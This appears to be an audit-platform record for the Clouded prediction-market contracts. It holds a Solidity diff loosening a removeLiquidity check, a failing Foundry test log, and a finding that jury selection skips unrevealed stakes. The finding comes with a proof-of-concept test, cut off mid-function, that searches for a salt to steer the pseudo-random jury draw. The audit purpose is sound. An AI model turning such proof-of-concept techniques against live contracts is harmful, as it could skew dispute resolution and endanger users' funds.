 
         uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
         uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;
 
         if (_daoOut > 0 && _daoOut >= _minDaoOut) {
             pendingHYPE -= _hypeIn;
             reserveHYPE += _hypeIn;
             reserveDAO  -= _daoOut;
             _burn(address(this), _daoOut);
         }
         else _daoOut = 0;
 
         emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
     }
 
     function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
         require(block.timestamp <= _deadline, "Expired");
         require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");
 
         uint256 _hypeAmount = msg.value;
         require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");
 
         uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
         (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
         require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] += lpAdded;
         totalLP          += lpAdded;
         reserveHYPE      += _hypeUsed;
         reserveDAO       += _daoUsed;
 
         _update(msg.sender, address(this), _daoUsed);
 
         if (_hypeRefund > 0) {
             (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
             require(_success, "Refund failed");
         }
 
         emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
         require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
         require(block.timestamp <= _deadline, "Expired");
 
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO / totalLP;
-        require(hype > 0 && dao > 0, "Zero output");
+        require(hype > 0 || dao > 0, "Zero output");
         require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] -= _lp;
         totalLP          -= _lp;
         reserveHYPE      -= hype;
         reserveDAO       -= dao;
 
         _update(address(this), msg.sender, dao);
 
         (bool _success, ) = msg.sender.call{value: hype}("");
         require(_success, "HYPE transfer failed");
 
         emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(msg.value > 0, "Zero input");
 
         uint256 _hypeInAfterFee = msg.value * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveHYPE += msg.value;
         reserveDAO  -= daoOut;
         _update(address(this), msg.sender, daoOut);
 
         emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
     }
 
     function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
         require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveDAO  += _daoIn;
         reserveHYPE -= hypeOut;
         _update(msg.sender, address(this), _daoIn);
 
         (bool _success, ) = msg.sender.call{value: hypeOut}("");
         require(_success, "HYPE transfer failed");
 
         emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
     }
 
     function _calculateAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) private view returns (uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         if (totalLP == 0) {
             uint256 _sqrtK = _sqrt(_hypeAmount * _daoAmount);
             hypeUsed = _hypeAmount;
             daoUsed  = _daoAmount;
             lpAdded  = _sqrtK;
         } else {
             uint256 _lpByHype = _hypeAmount * totalLP / reserveHYPE;
             uint256 _lpByDAO  = _daoAmount  * totalLP / reserveDAO;
             lpAdded = _lpByHype < _lpByDAO ? _lpByHype : _lpByDAO;
             if (_lpByHype < _lpByDAO) {
                 hypeUsed  = _hypeAmount;
                 daoUsed   = _hypeAmount * reserveDAO / reserveHYPE;
                 daoRefund = _daoAmount - daoUsed;
             } else if (_lpByDAO < _lpByHype) {
                 daoUsed    = _daoAmount;
                 hypeUsed   = _daoAmount * reserveHYPE / reserveDAO;
                 hypeRefund = _hypeAmount - hypeUsed;
             } else {
                 hypeUsed = _hypeAmount;
                 daoUsed  = _daoAmount;
             }
             require(hypeUsed > 0 && daoUsed > 0, "Insufficient liquidity");
         }
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 
     function _updateBuyBackOracle() private {
         if (totalLP == 0) return;
 
         uint256 _timestamp = block.timestamp;
 
         uint256 _priceElapsed = _timestamp - priceUpdatedAt_;
         if (_priceElapsed > 0) {
             priceCumulative_ += (reserveDAO * DECIMALS / reserveHYPE) * _priceElapsed;
             priceUpdatedAt_   = _timestamp;
         }
 
         uint256 _oracleElapsed = _timestamp - oracleUpdatedAt_;
         if (_oracleElapsed >= ORACLE_PERIOD) {
             oraclePrice_      = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
             oracleCumulative_ = priceCumulative_;
             oracleUpdatedAt_  = _timestamp;
         }
     }
 }
\ No newline at end of file

diff --git a/src/CloudedDAO.sol b/src/CloudedDAO.sol
--- a/src/CloudedDAO.sol
+++ b/src/CloudedDAO.sol
@@ -1,362 +1,362 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury { function updateMarketStatus(uint256) external returns (uint8); }
 
 interface IClouded { function getOutcomeMarketId(uint256) external view returns (uint256); }
 
 contract CloudedDAO is ERC20, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event StakeToVote(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event Unstake(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event BuyBack(uint256 hypeReward, uint256 daoBurned, uint256 reserveHYPE, uint256 reserveDAO);
     event AddLiquidity(address indexed provider, uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event RemoveLiquidity(address indexed provider, uint256 lpRemoved, uint256 hype, uint256 dao, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event Swap(address indexed user, uint256 hypeIn, uint256 daoIn, uint256 hypeOut, uint256 daoOut, uint256 reserveHYPE, uint256 reserveDAO);
 
     address public immutable JURY;
     address public immutable CLOUDED;
     uint256 constant DECIMALS = 1e18;
     uint256 private constant FEE_NUM = 997;
     uint256 private constant FEE_DEN = 1000;
 
     uint256 private constant BPS_DEN = 10000;
     uint256 private constant MAX_BUYBACK_DEVIATION_BPS = 2000;
     uint256 private constant ORACLE_PERIOD = 30 minutes;
 
     uint256 private priceCumulative_;
     uint256 private priceUpdatedAt_;
     uint256 private oraclePrice_;
     uint256 private oracleCumulative_;
     uint256 private oracleUpdatedAt_;
 
     mapping(uint256 => uint256) public  outcomeVotes;
     mapping(address => Ids.Set) private voterActiveOutcomeIds_;
     mapping(address => mapping(uint256 => uint256)) private outcomeStakeOf_;
 
     uint256 public pendingHYPE;
     uint256 public reserveHYPE;
     uint256 public reserveDAO;
     uint256 public totalLP;
 
     mapping(address => uint256) public lpOf;
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _name, string memory _symbol, address _juryAddr, address _cloudedAddr) ERC20(_name, _symbol) {
         JURY = _juryAddr;
         CLOUDED = _cloudedAddr;
     }
 
     function getVoterActiveOutcomeIds(address _voterAddr) external view returns (uint256[] memory) { return voterActiveOutcomeIds_[_voterAddr].getAll(); }
 
     function getVoterOutcomeVotes(address _voterAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeStakeOf_[_voterAddr][_outcomeIds[i]]; }
     }
 
     function getOutcomeVoteInBatch(uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeVotes[_outcomeIds[i]]; }
     }
 
     function getPool() external view returns (uint256, uint256, uint256) { return (reserveHYPE, reserveDAO, totalLP); }
 
     function getUserPosition(address _addr) external view returns (uint256 hypeBalance, uint256 daoBalance, uint256 lp, uint256 poolShareBPS, uint256 poolHYPE, uint256 poolDAO) {
         hypeBalance = address(_addr).balance;
         daoBalance  = balanceOf(_addr);
         lp          = lpOf[_addr];
         if (totalLP > 0 && lp > 0) {
             poolShareBPS = lp * 10000 / totalLP;
             poolHYPE     = lp * reserveHYPE / totalLP;
             poolDAO      = lp * reserveDAO  / totalLP;
         }
     }
 
     function quoteAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) external view returns (uint256 lp, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         require(_hypeAmount > 0 || _daoAmount > 0, "Input amount");
 
         if (totalLP == 0) require(_hypeAmount > 0 && _daoAmount > 0, "Add both tokens to initiate pool");
 
         if (_hypeAmount > 0 && _daoAmount == 0) { _daoAmount  = _hypeAmount * reserveDAO  / reserveHYPE; }
         if (_daoAmount > 0 && _hypeAmount == 0) { _hypeAmount = _daoAmount  * reserveHYPE / reserveDAO; }
 
         (lp, hypeUsed, daoUsed, hypeRefund, daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
     }
 
     function quoteRemoveLiquidity(uint256 _lp) external view returns (uint256 hype, uint256 dao) {
         require(_lp != 0 && totalLP != 0, "No liquidity in the pool");
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO  / totalLP;
     }
 
     function quoteHYPEForDAO(uint256 _hypeIn, uint256 _slippageBPS) external view returns (uint256 daoOut, uint256 minDaoOut) {
         require(_hypeIn > 0, "Zero input");
 
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         minDaoOut = daoOut * (10000 - _slippageBPS) / 10000;
     }
 
     function quoteDAOForHYPE(uint256 _daoIn, uint256 _slippageBPS) external view returns (uint256 hypeOut, uint256 minHypeOut) {
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
 
         minHypeOut = hypeOut * (10000 - _slippageBPS) / 10000;
     }
 
     function mint(address _to, uint256 _amount) external nonReentrant isJury { _mint(_to, _amount); }
 
     function stakeToVote(uint256 _outcomeId, uint256 _amount) external nonReentrant {
         require(_amount > 0, "Amount must be greater than 0");
         require(balanceOf(msg.sender) >= _amount * DECIMALS, "Insufficient balance");
 
         uint256 _outcomeMarketId  = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         require(_outcomeMarketId != 0, "Invalid outcome id");
 
         uint8   _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         require(_status == 3, "Not voting window");
 
         outcomeStakeOf_[msg.sender][_outcomeId] += _amount;
         outcomeVotes[_outcomeId]                += _amount;
         voterActiveOutcomeIds_[msg.sender].add(_outcomeId);
         _update(msg.sender, address(this), _amount * DECIMALS);
 
         emit StakeToVote(msg.sender, _outcomeMarketId, _outcomeId, _amount, outcomeVotes[_outcomeId]);
     }
 
     function unstake(uint256 _outcomeId) external nonReentrant {
         require(outcomeStakeOf_[msg.sender][_outcomeId] > 0, "No token staked");
         uint256 _outcomeStakeOf = outcomeStakeOf_[msg.sender][_outcomeId];
         outcomeStakeOf_[msg.sender][_outcomeId] = 0;
 
         uint256 _outcomeMarketId = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         uint8 _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         if (_status == 3) outcomeVotes[_outcomeId] -= _outcomeStakeOf;
 
         voterActiveOutcomeIds_[msg.sender].remove(_outcomeId);
         _update(address(this), msg.sender, _outcomeStakeOf * DECIMALS);
 
         emit Unstake(msg.sender, _outcomeMarketId, _outcomeId, _outcomeStakeOf, outcomeVotes[_outcomeId]);
     }
 
     function buyBack() external payable nonReentrant isJury {
         pendingHYPE += msg.value;
 
         if (totalLP == 0) {
             uint256 _initialAmount = pendingHYPE;
             _mint(address(this), _initialAmount);
             pendingHYPE         -= _initialAmount;
             reserveHYPE         += _initialAmount;
             reserveDAO          += _initialAmount;
             totalLP             += _initialAmount;
             lpOf[address(this)] += _initialAmount;
             priceUpdatedAt_  = block.timestamp;
             oracleUpdatedAt_ = block.timestamp;
             oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
         }
 
         _updateBuyBackOracle();
 
         uint256 _hypeIn = pendingHYPE;
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
 
         uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
         uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;
 
         if (_daoOut > 0 && _daoOut >= _minDaoOut) {
             pendingHYPE -= _hypeIn;
             reserveHYPE += _hypeIn;
             reserveDAO  -= _daoOut;
             _burn(address(this), _daoOut);
         }
         else _daoOut = 0;
 
         emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
     }
 
     function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
         require(block.timestamp <= _deadline, "Expired");
         require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");
 
         uint256 _hypeAmount = msg.value;
         require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");
 
         uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
         (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
         require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] += lpAdded;
         totalLP          += lpAdded;
         reserveHYPE      += _hypeUsed;
         reserveDAO       += _daoUsed;
 
         _update(msg.sender, address(this), _daoUsed);
 
         if (_hypeRefund > 0) {
             (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
             require(_success, "Refund failed");
         }
 
         emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
         require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
         require(block.timestamp <= _deadline, "Expired");
 
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO / totalLP;
-        require(hype > 0 && dao > 0, "Zero output");
+        require(hype > 0 || dao > 0, "Zero output");
         require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] -= _lp;
         totalLP          -= _lp;
         reserveHYPE      -= hype;
         reserveDAO       -= dao;
 
         _update(address(this), msg.sender, dao);
 
         (bool _success, ) = msg.sender.call{value: hype}("");
         require(_success, "HYPE transfer failed");
 
         emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(msg.value > 0, "Zero input");
 
         uint256 _hypeInAfterFee = msg.value * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveHYPE += msg.value;
         reserveDAO  -= daoOut;
         _update(address(this), msg.sender, daoOut);
 
         emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
     }
 
     function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
         require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveDAO  += _daoIn;
         reserveHYPE -= hypeOut;
         _update(msg.sender, address(this), _daoIn);
 
         (bool _success, ) = msg.sender.call{value: hypeOut}("");
         require(_success, "HYPE transfer failed");
 
         emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
     }
 
     function _calculateAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) private view returns (uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         if (totalLP == 0) {
             uint256 _sqrtK = _sqrt(_hypeAmount * _daoAmount);
             hypeUsed = _hypeAmount;
             daoUsed  = _daoAmount;
             lpAdded  = _sqrtK;
         } else {
             uint256 _lpByHype = _hypeAmount * totalLP / reserveHYPE;
             uint256 _lpByDAO  = _daoAmount  * totalLP / reserveDAO;
             lpAdded = _lpByHype < _lpByDAO ? _lpByHype : _lpByDAO;
             if (_lpByHype < _lpByDAO) {
                 hypeUsed  = _hypeAmount;
                 daoUsed   = _hypeAmount * reserveDAO / reserveHYPE;
                 daoRefund = _daoAmount - daoUsed;
             } else if (_lpByDAO < _lpByHype) {
                 daoUsed    = _daoAmount;
                 hypeUsed   = _daoAmount * reserveHYPE / reserveDAO;
                 hypeRefund = _hypeAmount - hypeUsed;
             } else {
                 hypeUsed = _hypeAmount;
                 daoUsed  = _daoAmount;
             }
             require(hypeUsed > 0 && daoUsed > 0, "Insufficient liquidity");
         }
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 
     function _updateBuyBackOracle() private {
         if (totalLP == 0) return;
 
         uint256 _timestamp = block.timestamp;
 
         uint256 _priceElapsed = _timestamp - priceUpdatedAt_;
         if (_priceElapsed > 0) {
             priceCumulative_ += (reserveDAO * DECIMALS / reserveHYPE) * _priceElapsed;
             priceUpdatedAt_   = _timestamp;
         }
 
         uint256 _oracleElapsed = _timestamp - oracleUpdatedAt_;
         if (_oracleElapsed >= ORACLE_PERIOD) {
             oraclePrice_      = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
             oracleCumulative_ = priceCumulative_;
             oracleUpdatedAt_  = _timestamp;
         }
     }
 }
\ No newline at end of file

Affected files

  • CloudedDAO.sol
  • src/CloudedDAO.sol

Validation output

[output truncated: 1183 lines & 64.498046875 KB skipped]
Ran 1 test suite in 9.98ms (1.92ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: next call did not revert as expected] test_zeroRoundedDaoShareFreezesPositiveHypeLpWithdrawal() (gas: 317141)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Jury selection silently skips unrevealed stakes, shrinking effective jury

Medium#298640Validity: Unreviewed

Comment:

By design. Unrevealed tokens are slashed, receive no DAO token rewards or prize pool share, and are treated as an abstention.

Source locations

Uploaded archive/CloudedJury.sol

Lines 384-402 — _Jury size computed from total stakes but decremented sample silently skips unrevealed candidates without reroll_

        uint256 _attempt;
        Ids.Set storage marketStakes = marketStakes_[_marketId];
        uint256 _totalStakedTokens   = marketStakes.getLength();
        uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
        while (_attempt < _jurySet) {
            uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
            marketStakes.swap(_attempt, _position);

            uint256 _tokenId        = marketStakes.getId(_attempt);
            address _tokenOwner     = tokenAddr_[_tokenId];
            uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
            if (_tokenOutcomeId != 0) {
                marketJuryStakes_[_marketId].add(_tokenId);
                juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
            }

            _attempt++;
        }

Description

selectJury computes a target jury size _jurySet from _totalStakedTokens (all stakes, revealed or not) at CloudedJury.sol:387, then loops _jurySet times swapping a pseudo-randomly chosen stake into the front of marketStakes and only adds it to marketJuryStakes_ if marketOutcomeOf_[_tokenOwner][_marketId] != 0 (i.e., the owner actually revealed) at lines 392-399. If a selected candidate never revealed, _tokenOutcomeId is 0 and the position is consumed by the attempt counter without any replacement draw or reroll, permanently reducing the realized jury set below the intended _jurySet for that market. In the extreme, if most or all sampled positions land on unrevealed stakers (which is plausible when reveal participation is low, e.g. tokens purchased right before market end or a colluding staker group withholding reveal), the jury can end up empty or near-empty, satisfying the routed checklist condition that duplicate/invalid candidates are accepted or fewer unique results are returned silently instead of rerolling.

Root cause

selectJury derives its loop bound _jurySet from the full staked-token count rather than the revealed-token count, and treats an unrevealed candidate hit as a silent no-op rather than rerolling or resizing the sample, violating the sampling-without-replacement invariant that all draws must produce valid, counted members.

Impact

The realized number of effective jurors backing juryOutcome and eligible for jury rewards can be far smaller than the protocol's intended max(1, totalStaked/5, capped 300) sizing, weakening the security margin of jury-based dispute resolution and potentially letting a small colluding group of revealed stakers dominate juryOutcomeCount_ once the sample is dominated by non-reveals being skipped. It also directly affects _getSlashedAndRewardedTokens, since slashedTokens = marketJuryStakes_.length - juryOutcomeCount_[outcome], meaning the smaller realized jury changes reward/slash accounting versus what governance model assumed.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

/// @dev Code is etched at CloudedManager's hard-coded governance-token address.
contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function totalSupply() external view returns (uint256) {
        return supply;
    }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;
    bytes32 internal constant SELECT_JURY_SIG = keccak256("SelectJury(uint256,uint256,uint256,address)");

    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("market-creator");
    address internal revealedStaker = makeAddr("revealed-staker");
    address internal silentStaker = makeAddr("silent-staker");
    address internal selector = makeAddr("permissionless-selector");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(creator);
        vm.stopPrank();

        vm.deal(creator, 100 ether);
        vm.deal(revealedStaker, 100 ether);
        vm.deal(silentStaker, 100 ether);

        vm.prank(creator);
        jury.mint{value: 15 ether}(5);
    }

    function _createMarket() internal returns (uint256[] memory outcomeIds, uint256 startAt) {
        string[] memory outcomes = new string[](2);
        outcomes[0] = "YES";
        outcomes[1] = "NO";
        uint256[] memory collateral = jury.getUserTokenIds(creator);
        uint256 creationBuyPrice = clouded.getPriceAppreciation(1, true, 10);

        vm.prank(creator);
        jury.createMarket{value: creationBuyPrice}(
            "Will skipped non-reveals shrink jury?",
            "Resolve YES if the jury-selection PoC reaches the vulnerable selection path.",
            outcomes,
            1,
            collateral,
            1,
            10
        );

        (, , outcomeIds, startAt, , , , ) = clouded.getMarketInfo(1);
    }

    function _findSaltThatSelectsOnlySilentFirstTwo() internal pure returns (bytes32) {
        // marketStakes is populated in this test as [revealed token 6, revealed token 7, silent tokens 8..15].
        // Search for a salt that makes selectJury's first two Fisher-Yates positions both hit silent tokens,
        // so the vulnerable code consumes both attempts without adding any real juror.
        for (uint256 i = 1; i < 100_000; i++) {
            bytes32 salt = bytes32(i);
            uint256 firstPosition = uint256(keccak256(abi.encodePacked(salt, uint256(0)))) % 10;
            if (firstPosition < 2) continue;

            // After the first swap, the revealed token originally at index 0 is now at firstPosition.
            uint256 secondPosition = 1 + (uint256(keccak256(abi.encodePacked(salt, uint256(1)))) % 9);
            if (secondPosition == 1 || secondPosition == firstPosition) continue;
            return salt;
        }
        revert("no salt found");
    }

    function _countSelectJuryEvents(Vm.Log[] memory entries) internal pure returns (uint256 selected) {
        for (uint256 i = 0; i < entries.length; i++) {
            if (entries[i].topics.length > 0 && entries[i].topics[0] == SELECT_JURY_SIG) selected++;
        }
    }

    function test_selectJuryConsumesDrawsOnUnrevealedStakesAndReturnsEmptyJury() public {
        (uint256[] memory outcomeIds, uint256 startAt) = _createMarket();

        vm.prank(admin);
        manager.updateWhitelisted(); // public launch, so any external juror can mint and stake.

        vm.prank(revealedStaker);
        jury.mint{value: 6 ether}(2);
        uint256[] memory revealedTokens = jury.getUserTokenIds(revealedStaker);
        assertEq(revealedTokens.length, 2, "test setup: two tokens will reveal");

        vm.prank(silentStaker);
        jury.mint{value: 24 ether}(8);
        uint256[] memory silentTokens = jury.getUserTokenIds(silentStaker);
        assertEq(silentTokens.length, 8, "test setup: eight tokens stay unrevealed");

        bytes32 salt = _findSaltThatSelectsOnlySilentFirstTwo();
        bytes32 commitHash = keccak256(abi.encodePacked(revealedStaker, uint256(1), outcomeIds[0], salt));

        vm.prank(revealedStaker);
        jury.stake(1, revealedTokens, commitHash);

        vm.prank(silentStaker);
        jury.stake(1, silentTokens, keccak256("silent staker withholds reveal"));

        vm.warp(startAt + 1 days);
        vm.prank(revealedStaker);
